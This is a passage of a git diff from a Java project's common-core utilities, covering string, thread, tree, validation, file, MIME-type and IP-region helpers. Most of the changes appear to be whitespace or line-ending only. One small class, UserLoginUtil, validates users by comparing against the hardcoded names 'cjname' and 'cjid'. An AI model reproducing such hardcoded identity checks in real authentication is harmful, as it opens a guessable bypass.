+package org.dromara.common.core.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.lang.Validator; +import cn.hutool.core.util.StrUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.springframework.util.AntPathMatcher; + +import java.util.*; +import java.util.function.Function; +import java.util.stream.Collectors; + +/** + * 字符串工具类 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class StringUtils extends org.apache.commons.lang3.StringUtils { + + public static final String SEPARATOR = ","; + + public static final String SLASH = "/"; + + /** + * 获取参数不为空值 + * + * @param str defaultValue 要判断的value + * @return value 返回值 + */ + public static String blankToDefault(String str, String defaultValue) { + return StrUtil.blankToDefault(str, defaultValue); + } + + /** + * * 判断一个字符串是否为空串 + * + * @param str String + * @return true:为空 false:非空 + */ + public static boolean isEmpty(String str) { + return StrUtil.isEmpty(str); + } + + /** + * * 判断一个字符串是否为非空串 + * + * @param str String + * @return true:非空串 false:空串 + */ + public static boolean isNotEmpty(String str) { + return !isEmpty(str); + } + + /** + * 去空格 + */ + public static String trim(String str) { + return StrUtil.trim(str); + } + + /** + * 截取字符串 + * + * @param str 字符串 + * @param start 开始 + * @return 结果 + */ + public static String substring(final String str, int start) { + return substring(str, start, str.length()); + } + + /** + * 截取字符串 + * + * @param str 字符串 + * @param start 开始 + * @param end 结束 + * @return 结果 + */ + public static String substring(final String str, int start, int end) { + return StrUtil.sub(str, start, end); + } + + /** + * 格式化文本, {} 表示占位符
+ * 此方法只是简单将占位符 {} 按照顺序替换为参数
+ * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
+ * 例:
+ * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
+ * 转义{}: format("this is \\{} for {}", "a", "b") -> this is {} for a
+ * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
+ * + * @param template 文本模板,被替换的部分用 {} 表示 + * @param params 参数值 + * @return 格式化后的文本 + */ + public static String format(String template, Object... params) { + return StrUtil.format(template, params); + } + + /** + * 是否为http(s)://开头 + * + * @param link 链接 + * @return 结果 + */ + public static boolean ishttp(String link) { + return Validator.isUrl(link); + } + + /** + * 字符串转set + * + * @param str 字符串 + * @param sep 分隔符 + * @return set集合 + */ + public static Set str2Set(String str, String sep) { + return new HashSet<>(str2List(str, sep, true, false)); + } + + /** + * 字符串转list + * + * @param str 字符串 + * @param sep 分隔符 + * @param filterBlank 过滤纯空白 + * @param trim 去掉首尾空白 + * @return list集合 + */ + public static List str2List(String str, String sep, boolean filterBlank, boolean trim) { + List list = new ArrayList<>(); + if (isEmpty(str)) { + return list; + } + + // 过滤空白字符串 + if (filterBlank && isBlank(str)) { + return list; + } + String[] split = str.split(sep); + for (String string : split) { + if (filterBlank && isBlank(string)) { + continue; + } + if (trim) { + string = trim(string); + } + list.add(string); + } + + return list; + } + + /** + * 查找指定字符串是否包含指定字符串列表中的任意一个字符串同时串忽略大小写 + * + * @param cs 指定字符串 + * @param searchCharSequences 需要检查的字符串数组 + * @return 是否包含任意一个字符串 + */ + public static boolean containsAnyIgnoreCase(CharSequence cs, CharSequence... searchCharSequences) { + return StrUtil.containsAnyIgnoreCase(cs, searchCharSequences); + } + + /** + * 驼峰转下划线命名 + */ + public static String toUnderScoreCase(String str) { + return StrUtil.toUnderlineCase(str); + } + + /** + * 是否包含字符串 + * + * @param str 验证字符串 + * @param strs 字符串组 + * @return 包含返回true + */ + public static boolean inStringIgnoreCase(String str, String... strs) { + return StrUtil.equalsAnyIgnoreCase(str, strs); + } + + /** + * 将下划线大写方式命名的字符串转换为驼峰式。如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。 例如:HELLO_WORLD->HelloWorld + * + * @param name 转换前的下划线大写方式命名的字符串 + * @return 转换后的驼峰式命名的字符串 + */ + public static String convertToCamelCase(String name) { + return StrUtil.upperFirst(StrUtil.toCamelCase(name)); + } + + /** + * 驼峰式命名法 例如:user_name->userName + */ + public static String toCamelCase(String s) { + return StrUtil.toCamelCase(s); + } + + /** + * 查找指定字符串是否匹配指定字符串列表中的任意一个字符串 + * + * @param str 指定字符串 + * @param strs 需要检查的字符串数组 + * @return 是否匹配 + */ + public static boolean matches(String str, List strs) { + if (isEmpty(str) || CollUtil.isEmpty(strs)) { + return false; + } + for (String pattern : strs) { + if (isMatch(pattern, str)) { + return true; + } + } + return false; + } + + /** + * 判断url是否与规则配置: + * ? 表示单个字符; + * * 表示一层路径内的任意字符串,不可跨层级; + * ** 表示任意层路径; + * + * @param pattern 匹配规则 + * @param url 需要匹配的url + */ + public static boolean isMatch(String pattern, String url) { + AntPathMatcher matcher = new AntPathMatcher(); + return matcher.match(pattern, url); + } + + /** + * 数字左边补齐0,使之达到指定长度。注意,如果数字转换为字符串后,长度大于size,则只保留 最后size个字符。 + * + * @param num 数字对象 + * @param size 字符串指定长度 + * @return 返回数字的字符串格式,该字符串为指定长度。 + */ + public static String padl(final Number num, final int size) { + return padl(num.toString(), size, '0'); + } + + /** + * 字符串左补齐。如果原始字符串s长度大于size,则只保留最后size个字符。 + * + * @param s 原始字符串 + * @param size 字符串指定长度 + * @param c 用于补齐的字符 + * @return 返回指定长度的字符串,由原字符串左补齐或截取得到。 + */ + public static String padl(final String s, final int size, final char c) { + final StringBuilder sb = new StringBuilder(size); + if (s != null) { + final int len = s.length(); + if (s.length() <= size) { + sb.append(String.valueOf(c).repeat(size - len)); + sb.append(s); + } else { + return s.substring(len - size, len); + } + } else { + sb.append(String.valueOf(c).repeat(Math.max(0, size))); + } + return sb.toString(); + } + + /** + * 切分字符串(分隔符默认逗号) + * + * @param str 被切分的字符串 + * @return 分割后的数据列表 + */ + public static List splitList(String str) { + return splitTo(str, Convert::toStr); + } + + /** + * 切分字符串 + * + * @param str 被切分的字符串 + * @param separator 分隔符 + * @return 分割后的数据列表 + */ + public static List splitList(String str, String separator) { + return splitTo(str, separator, Convert::toStr); + } + + /** + * 切分字符串自定义转换(分隔符默认逗号) + * + * @param str 被切分的字符串 + * @param mapper 自定义转换 + * @return 分割后的数据列表 + */ + public static List splitTo(String str, Function mapper) { + return splitTo(str, SEPARATOR, mapper); + } + + /** + * 切分字符串自定义转换 + * + * @param str 被切分的字符串 + * @param separator 分隔符 + * @param mapper 自定义转换 + * @return 分割后的数据列表 + */ + public static List splitTo(String str, String separator, Function mapper) { + if (isBlank(str)) { + return new ArrayList<>(0); + } + return StrUtil.split(str, separator) + .stream() + .filter(Objects::nonNull) + .map(mapper) + .collect(Collectors.toList()); + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/Threads.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/Threads.java index ae6cfa3..f988486 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/Threads.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/Threads.java @@ -1,75 +1,75 @@ -package org.dromara.common.core.utils; - -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import lombok.extern.slf4j.Slf4j; - -import java.util.concurrent.*; - -/** - * 线程相关工具类. - * - * @author ruoyi - */ -@Slf4j -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class Threads { - - /** - * sleep等待,单位为毫秒 - */ - public static void sleep(long milliseconds) { - try { - Thread.sleep(milliseconds); - } catch (InterruptedException e) { - return; - } - } - - /** - * 停止线程池 - * 先使用shutdown, 停止接收新任务并尝试完成所有已存在任务. - * 如果超时, 则调用shutdownNow, 取消在workQueue中Pending的任务,并中断所有阻塞函数. - * 如果仍然超時,則強制退出. - * 另对在shutdown时线程本身被调用中断做了处理. - */ - public static void shutdownAndAwaitTermination(ExecutorService pool) { - if (pool != null && !pool.isShutdown()) { - pool.shutdown(); - try { - if (!pool.awaitTermination(120, TimeUnit.SECONDS)) { - pool.shutdownNow(); - if (!pool.awaitTermination(120, TimeUnit.SECONDS)) { - log.info("Pool did not terminate"); - } - } - } catch (InterruptedException ie) { - pool.shutdownNow(); - Thread.currentThread().interrupt(); - } - } - } - - /** - * 打印线程异常信息 - */ - public static void printException(Runnable r, Throwable t) { - if (t == null && r instanceof Future) { - try { - Future future = (Future) r; - if (future.isDone()) { - future.get(); - } - } catch (CancellationException ce) { - t = ce; - } catch (ExecutionException ee) { - t = ee.getCause(); - } catch (InterruptedException ie) { - Thread.currentThread().interrupt(); - } - } - if (t != null) { - log.error(t.getMessage(), t); - } - } -} +package org.dromara.common.core.utils; + +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; + +import java.util.concurrent.*; + +/** + * 线程相关工具类. + * + * @author ruoyi + */ +@Slf4j +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class Threads { + + /** + * sleep等待,单位为毫秒 + */ + public static void sleep(long milliseconds) { + try { + Thread.sleep(milliseconds); + } catch (InterruptedException e) { + return; + } + } + + /** + * 停止线程池 + * 先使用shutdown, 停止接收新任务并尝试完成所有已存在任务. + * 如果超时, 则调用shutdownNow, 取消在workQueue中Pending的任务,并中断所有阻塞函数. + * 如果仍然超時,則強制退出. + * 另对在shutdown时线程本身被调用中断做了处理. + */ + public static void shutdownAndAwaitTermination(ExecutorService pool) { + if (pool != null && !pool.isShutdown()) { + pool.shutdown(); + try { + if (!pool.awaitTermination(120, TimeUnit.SECONDS)) { + pool.shutdownNow(); + if (!pool.awaitTermination(120, TimeUnit.SECONDS)) { + log.info("Pool did not terminate"); + } + } + } catch (InterruptedException ie) { + pool.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + } + + /** + * 打印线程异常信息 + */ + public static void printException(Runnable r, Throwable t) { + if (t == null && r instanceof Future) { + try { + Future future = (Future) r; + if (future.isDone()) { + future.get(); + } + } catch (CancellationException ce) { + t = ce; + } catch (ExecutionException ee) { + t = ee.getCause(); + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + } + } + if (t != null) { + log.error(t.getMessage(), t); + } + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/TreeBuildUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/TreeBuildUtils.java index 2ab42cb..7b8dde1 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/TreeBuildUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/TreeBuildUtils.java @@ -1,96 +1,96 @@ -package org.dromara.common.core.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.lang.tree.Tree; -import cn.hutool.core.lang.tree.TreeNodeConfig; -import cn.hutool.core.lang.tree.TreeUtil; -import cn.hutool.core.lang.tree.parser.NodeParser; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.reflect.ReflectUtils; - -import java.util.List; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -/** - * 扩展 hutool TreeUtil 封装系统树构建 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class TreeBuildUtils extends TreeUtil { - - /** - * 根据前端定制差异化字段 - */ - public static final TreeNodeConfig DEFAULT_CONFIG = TreeNodeConfig.DEFAULT_CONFIG.setNameKey("label"); - - /** - * 构建树形结构 - * - * @param 输入节点的类型 - * @param 节点ID的类型 - * @param list 节点列表,其中包含了要构建树形结构的所有节点 - * @param nodeParser 解析器,用于将输入节点转换为树节点 - * @return 构建好的树形结构列表 - */ - public static List> build(List list, NodeParser nodeParser) { - if (CollUtil.isEmpty(list)) { - return CollUtil.newArrayList(); - } - K k = ReflectUtils.invokeGetter(list.get(0), "parentId"); - return TreeUtil.build(list, k, DEFAULT_CONFIG, nodeParser); - } - - /** - * 构建树形结构 - * - * @param 输入节点的类型 - * @param 节点ID的类型 - * @param parentId 顶级节点 - * @param list 节点列表,其中包含了要构建树形结构的所有节点 - * @param nodeParser 解析器,用于将输入节点转换为树节点 - * @return 构建好的树形结构列表 - */ - public static List> build(List list, K parentId, NodeParser nodeParser) { - if (CollUtil.isEmpty(list)) { - return CollUtil.newArrayList(); - } - return TreeUtil.build(list, parentId, DEFAULT_CONFIG, nodeParser); - } - - /** - * 获取节点列表中所有节点的叶子节点 - * - * @param 节点ID的类型 - * @param nodes 节点列表 - * @return 包含所有叶子节点的列表 - */ - public static List> getLeafNodes(List> nodes) { - if (CollUtil.isEmpty(nodes)) { - return CollUtil.newArrayList(); - } - return nodes.stream() - .flatMap(TreeBuildUtils::extractLeafNodes) - .collect(Collectors.toList()); - } - - /** - * 获取指定节点下的所有叶子节点 - * - * @param 节点ID的类型 - * @param node 要查找叶子节点的根节点 - * @return 包含所有叶子节点的列表 - */ - private static Stream> extractLeafNodes(Tree node) { - if (!node.hasChild()) { - return Stream.of(node); - } else { - // 递归调用,获取所有子节点的叶子节点 - return node.getChildren().stream() - .flatMap(TreeBuildUtils::extractLeafNodes); - } - } - -} +package org.dromara.common.core.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.lang.tree.Tree; +import cn.hutool.core.lang.tree.TreeNodeConfig; +import cn.hutool.core.lang.tree.TreeUtil; +import cn.hutool.core.lang.tree.parser.NodeParser; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.reflect.ReflectUtils; + +import java.util.List; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +/** + * 扩展 hutool TreeUtil 封装系统树构建 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class TreeBuildUtils extends TreeUtil { + + /** + * 根据前端定制差异化字段 + */ + public static final TreeNodeConfig DEFAULT_CONFIG = TreeNodeConfig.DEFAULT_CONFIG.setNameKey("label"); + + /** + * 构建树形结构 + * + * @param 输入节点的类型 + * @param 节点ID的类型 + * @param list 节点列表,其中包含了要构建树形结构的所有节点 + * @param nodeParser 解析器,用于将输入节点转换为树节点 + * @return 构建好的树形结构列表 + */ + public static List> build(List list, NodeParser nodeParser) { + if (CollUtil.isEmpty(list)) { + return CollUtil.newArrayList(); + } + K k = ReflectUtils.invokeGetter(list.get(0), "parentId"); + return TreeUtil.build(list, k, DEFAULT_CONFIG, nodeParser); + } + + /** + * 构建树形结构 + * + * @param 输入节点的类型 + * @param 节点ID的类型 + * @param parentId 顶级节点 + * @param list 节点列表,其中包含了要构建树形结构的所有节点 + * @param nodeParser 解析器,用于将输入节点转换为树节点 + * @return 构建好的树形结构列表 + */ + public static List> build(List list, K parentId, NodeParser nodeParser) { + if (CollUtil.isEmpty(list)) { + return CollUtil.newArrayList(); + } + return TreeUtil.build(list, parentId, DEFAULT_CONFIG, nodeParser); + } + + /** + * 获取节点列表中所有节点的叶子节点 + * + * @param 节点ID的类型 + * @param nodes 节点列表 + * @return 包含所有叶子节点的列表 + */ + public static List> getLeafNodes(List> nodes) { + if (CollUtil.isEmpty(nodes)) { + return CollUtil.newArrayList(); + } + return nodes.stream() + .flatMap(TreeBuildUtils::extractLeafNodes) + .collect(Collectors.toList()); + } + + /** + * 获取指定节点下的所有叶子节点 + * + * @param 节点ID的类型 + * @param node 要查找叶子节点的根节点 + * @return 包含所有叶子节点的列表 + */ + private static Stream> extractLeafNodes(Tree node) { + if (!node.hasChild()) { + return Stream.of(node); + } else { + // 递归调用,获取所有子节点的叶子节点 + return node.getChildren().stream() + .flatMap(TreeBuildUtils::extractLeafNodes); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/UserLoginUtil.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/UserLoginUtil.java index a63704a..3da5107 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/UserLoginUtil.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/UserLoginUtil.java @@ -1,17 +1,17 @@ -package org.dromara.common.core.utils; - -public class UserLoginUtil { - public static boolean validate(String userName){ - if("cjname".equals(userName)){ - return true; - } - return false; - } - - public static boolean validateId(String userName) { - if("cjid".equals(userName)){ - return true; - } - return false; - } -} +package org.dromara.common.core.utils; + +public class UserLoginUtil { + public static boolean validate(String userName){ + if("cjname".equals(userName)){ + return true; + } + return false; + } + + public static boolean validateId(String userName) { + if("cjid".equals(userName)){ + return true; + } + return false; + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ValidatorUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ValidatorUtils.java index 06b8fd6..fee82d7 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ValidatorUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ValidatorUtils.java @@ -1,35 +1,35 @@ -package org.dromara.common.core.utils; - -import jakarta.validation.ConstraintViolation; -import jakarta.validation.ConstraintViolationException; -import jakarta.validation.Validator; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; - -import java.util.Set; - -/** - * Validator 校验框架工具 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class ValidatorUtils { - - private static final Validator VALID = SpringUtils.getBean(Validator.class); - - /** - * 对给定对象进行参数校验,并根据指定的校验组进行校验 - * - * @param object 要进行校验的对象 - * @param groups 校验组 - * @throws ConstraintViolationException 如果校验不通过,则抛出参数校验异常 - */ - public static void validate(T object, Class... groups) { - Set> validate = VALID.validate(object, groups); - if (!validate.isEmpty()) { - throw new ConstraintViolationException("参数校验异常", validate); - } - } - -} +package org.dromara.common.core.utils; + +import jakarta.validation.ConstraintViolation; +import jakarta.validation.ConstraintViolationException; +import jakarta.validation.Validator; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; + +import java.util.Set; + +/** + * Validator 校验框架工具 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class ValidatorUtils { + + private static final Validator VALID = SpringUtils.getBean(Validator.class); + + /** + * 对给定对象进行参数校验,并根据指定的校验组进行校验 + * + * @param object 要进行校验的对象 + * @param groups 校验组 + * @throws ConstraintViolationException 如果校验不通过,则抛出参数校验异常 + */ + public static void validate(T object, Class... groups) { + Set> validate = VALID.validate(object, groups); + if (!validate.isEmpty()) { + throw new ConstraintViolationException("参数校验异常", validate); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/FileUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/FileUtils.java index 573b207..631577f 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/FileUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/FileUtils.java @@ -1,43 +1,43 @@ -package org.dromara.common.core.utils.file; - -import cn.hutool.core.io.FileUtil; -import jakarta.servlet.http.HttpServletResponse; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; - -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; - -/** - * 文件处理工具类 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class FileUtils extends FileUtil { - - /** - * 下载文件名重新编码 - * - * @param response 响应对象 - * @param realFileName 真实文件名 - */ - public static void setAttachmentResponseHeader(HttpServletResponse response, String realFileName) { - String percentEncodedFileName = percentEncode(realFileName); - String contentDispositionValue = "attachment; filename=%s;filename*=utf-8''%s".formatted(percentEncodedFileName, percentEncodedFileName); - response.addHeader("Access-Control-Expose-Headers", "Content-Disposition,download-filename"); - response.setHeader("Content-disposition", contentDispositionValue); - response.setHeader("download-filename", percentEncodedFileName); - } - - /** - * 百分号编码工具方法 - * - * @param s 需要百分号编码的字符串 - * @return 百分号编码后的字符串 - */ - public static String percentEncode(String s) { - String encode = URLEncoder.encode(s, StandardCharsets.UTF_8); - return encode.replaceAll("\\+", "%20"); - } -} +package org.dromara.common.core.utils.file; + +import cn.hutool.core.io.FileUtil; +import jakarta.servlet.http.HttpServletResponse; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; + +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; + +/** + * 文件处理工具类 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class FileUtils extends FileUtil { + + /** + * 下载文件名重新编码 + * + * @param response 响应对象 + * @param realFileName 真实文件名 + */ + public static void setAttachmentResponseHeader(HttpServletResponse response, String realFileName) { + String percentEncodedFileName = percentEncode(realFileName); + String contentDispositionValue = "attachment; filename=%s;filename*=utf-8''%s".formatted(percentEncodedFileName, percentEncodedFileName); + response.addHeader("Access-Control-Expose-Headers", "Content-Disposition,download-filename"); + response.setHeader("Content-disposition", contentDispositionValue); + response.setHeader("download-filename", percentEncodedFileName); + } + + /** + * 百分号编码工具方法 + * + * @param s 需要百分号编码的字符串 + * @return 百分号编码后的字符串 + */ + public static String percentEncode(String s) { + String encode = URLEncoder.encode(s, StandardCharsets.UTF_8); + return encode.replaceAll("\\+", "%20"); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/MimeTypeUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/MimeTypeUtils.java index 23fa2cf..3c98ce3 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/MimeTypeUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/file/MimeTypeUtils.java @@ -1,40 +1,40 @@ -package org.dromara.common.core.utils.file; - -/** - * 媒体类型工具类 - * - * @author ruoyi - */ -public class MimeTypeUtils { - public static final String IMAGE_PNG = "image/png"; - - public static final String IMAGE_JPG = "image/jpg"; - - public static final String IMAGE_JPEG = "image/jpeg"; - - public static final String IMAGE_BMP = "image/bmp"; - - public static final String IMAGE_GIF = "image/gif"; - - public static final String[] IMAGE_EXTENSION = {"bmp", "gif", "jpg", "jpeg", "png"}; - - public static final String[] FLASH_EXTENSION = {"swf", "flv"}; - - public static final String[] MEDIA_EXTENSION = {"swf", "flv", "mp3", "wav", "wma", "wmv", "mid", "avi", "mpg", - "asf", "rm", "rmvb"}; - - public static final String[] VIDEO_EXTENSION = {"mp4", "avi", "rmvb"}; - - public static final String[] DEFAULT_ALLOWED_EXTENSION = { - // 图片 - "bmp", "gif", "jpg", "jpeg", "png", - // word excel powerpoint - "doc", "docx", "xls", "xlsx", "ppt", "pptx", "html", "htm", "txt", - // 压缩文件 - "rar", "zip", "gz", "bz2", - // 视频格式 - "mp4", "avi", "rmvb", - // pdf - "pdf"}; - -} +package org.dromara.common.core.utils.file; + +/** + * 媒体类型工具类 + * + * @author ruoyi + */ +public class MimeTypeUtils { + public static final String IMAGE_PNG = "image/png"; + + public static final String IMAGE_JPG = "image/jpg"; + + public static final String IMAGE_JPEG = "image/jpeg"; + + public static final String IMAGE_BMP = "image/bmp"; + + public static final String IMAGE_GIF = "image/gif"; + + public static final String[] IMAGE_EXTENSION = {"bmp", "gif", "jpg", "jpeg", "png"}; + + public static final String[] FLASH_EXTENSION = {"swf", "flv"}; + + public static final String[] MEDIA_EXTENSION = {"swf", "flv", "mp3", "wav", "wma", "wmv", "mid", "avi", "mpg", + "asf", "rm", "rmvb"}; + + public static final String[] VIDEO_EXTENSION = {"mp4", "avi", "rmvb"}; + + public static final String[] DEFAULT_ALLOWED_EXTENSION = { + // 图片 + "bmp", "gif", "jpg", "jpeg", "png", + // word excel powerpoint + "doc", "docx", "xls", "xlsx", "ppt", "pptx", "html", "htm", "txt", + // 压缩文件 + "rar", "zip", "gz", "bz2", + // 视频格式 + "mp4", "avi", "rmvb", + // pdf + "pdf"}; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/AddressUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/AddressUtils.java index 808f440..aa43688 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/AddressUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/AddressUtils.java @@ -1,33 +1,33 @@ -package org.dromara.common.core.utils.ip; - -import cn.hutool.core.net.NetUtil; -import cn.hutool.http.HtmlUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.utils.StringUtils; - -/** - * 获取地址类 - * - * @author Lion Li - */ -@Slf4j -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class AddressUtils { - - // 未知地址 - public static final String UNKNOWN = "XX XX"; - - public static String getRealAddressByIP(String ip) { - if (StringUtils.isBlank(ip)) { - return UNKNOWN; - } - // 内网不查询 - ip = StringUtils.contains(ip, "0:0:0:0:0:0:0:1") ? "127.0.0.1" : HtmlUtil.cleanHtmlTag(ip); - if (NetUtil.isInnerIP(ip)) { - return "内网IP"; - } - return RegionUtils.getCityInfo(ip); - } -} +package org.dromara.common.core.utils.ip; + +import cn.hutool.core.net.NetUtil; +import cn.hutool.http.HtmlUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.utils.StringUtils; + +/** + * 获取地址类 + * + * @author Lion Li + */ +@Slf4j +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class AddressUtils { + + // 未知地址 + public static final String UNKNOWN = "XX XX"; + + public static String getRealAddressByIP(String ip) { + if (StringUtils.isBlank(ip)) { + return UNKNOWN; + } + // 内网不查询 + ip = StringUtils.contains(ip, "0:0:0:0:0:0:0:1") ? "127.0.0.1" : HtmlUtil.cleanHtmlTag(ip); + if (NetUtil.isInnerIP(ip)) { + return "内网IP"; + } + return RegionUtils.getCityInfo(ip); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/RegionUtils.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/RegionUtils.java index eadfcf7..c475bc0 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/RegionUtils.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/utils/ip/RegionUtils.java @@ -1,67 +1,67 @@ -package org.dromara.common.core.utils.ip; - -import cn.hutool.core.io.FileUtil; -import cn.hutool.core.io.resource.ClassPathResource; -import cn.hutool.core.util.ObjectUtil; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.file.FileUtils; -import org.lionsoul.ip2region.xdb.Searcher; - -import java.io.File; - -/** - * 根据ip地址定位工具类,离线方式 - * 参考地址:集成 ip2region 实现离线IP地址定位库 - * - * @author lishuyan - */ -@Slf4j -public class RegionUtils { - - private static final Searcher SEARCHER; - - static { - String fileName = "/ip2region.xdb"; - File existFile = FileUtils.file(FileUtil.getTmpDir() + FileUtil.FILE_SEPARATOR + fileName); - if (!FileUtils.exist(existFile)) { - ClassPathResource fileStream = new ClassPathResource(fileName); - if (ObjectUtil.isEmpty(fileStream.getStream())) { - throw new ServiceException("RegionUtils初始化失败,原因:IP地址库数据不存在!"); - } - FileUtils.writeFromStream(fileStream.getStream(), existFile); - } - - String dbPath = existFile.getPath(); - - // 1、从 dbPath 加载整个 xdb 到内存。 - byte[] cBuff; - try { - cBuff = Searcher.loadContentFromFile(dbPath); - } catch (Exception e) { - throw new ServiceException("RegionUtils初始化失败,原因:从ip2region.xdb文件加载内容失败!" + e.getMessage()); - } - // 2、使用上述的 cBuff 创建一个完全基于内存的查询对象。 - try { - SEARCHER = Searcher.newWithBuffer(cBuff); - } catch (Exception e) { - throw new ServiceException("RegionUtils初始化失败,原因:" + e.getMessage()); - } - } - - /** - * 根据IP地址离线获取城市 - */ - public static String getCityInfo(String ip) { - try { - ip = ip.trim(); - // 3、执行查询 - String region = SEARCHER.search(ip); - return region.replace("0|", "").replace("|0", ""); - } catch (Exception e) { - log.error("IP地址离线获取城市异常 {}", ip); - return "未知"; - } - } - -} +package org.dromara.common.core.utils.ip; + +import cn.hutool.core.io.FileUtil; +import cn.hutool.core.io.resource.ClassPathResource; +import cn.hutool.core.util.ObjectUtil; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.file.FileUtils; +import org.lionsoul.ip2region.xdb.Searcher; + +import java.io.File; + +/** + * 根据ip地址定位工具类,离线方式 + * 参考地址:集成 ip2region 实现离线IP地址定位库 + * + * @author lishuyan + */ +@Slf4j +public class RegionUtils { + + private static final Searcher SEARCHER; + + static { + String fileName = "/ip2region.xdb"; + File existFile = FileUtils.file(FileUtil.getTmpDir() + FileUtil.FILE_SEPARATOR + fileName); + if (!FileUtils.exist(existFile)) { + ClassPathResource fileStream = new ClassPathResource(fileName); + if (ObjectUtil.isEmpty(fileStream.getStream())) { + throw new ServiceException("RegionUtils初始化失败,原因:IP地址库数据不存在!"); + } + FileUtils.writeFromStream(fileStream.getStream(), existFile); + } + + String dbPath = existFile.getPath(); + + // 1、从 dbPath 加载整个 xdb 到内存。 + byte[] cBuff; + try { + cBuff = Searcher.loadContentFromFile(dbPath); + } catch (Exception e) { + throw new ServiceException("RegionUtils初始化失败,原因:从ip2region.xdb文件加载内容失败!" + e.getMessage()); + } + // 2、使用上述的 cBuff 创建一个完全基于内存的查询对象。 + try { + SEARCHER = Searcher.newWithBuffer(cBuff); + } catch (Exception e) { + throw new ServiceException("RegionUtils初始化失败,原因:" + e.getMessage()); + } + } + + /** + * 根据IP地址离线获取城市 + 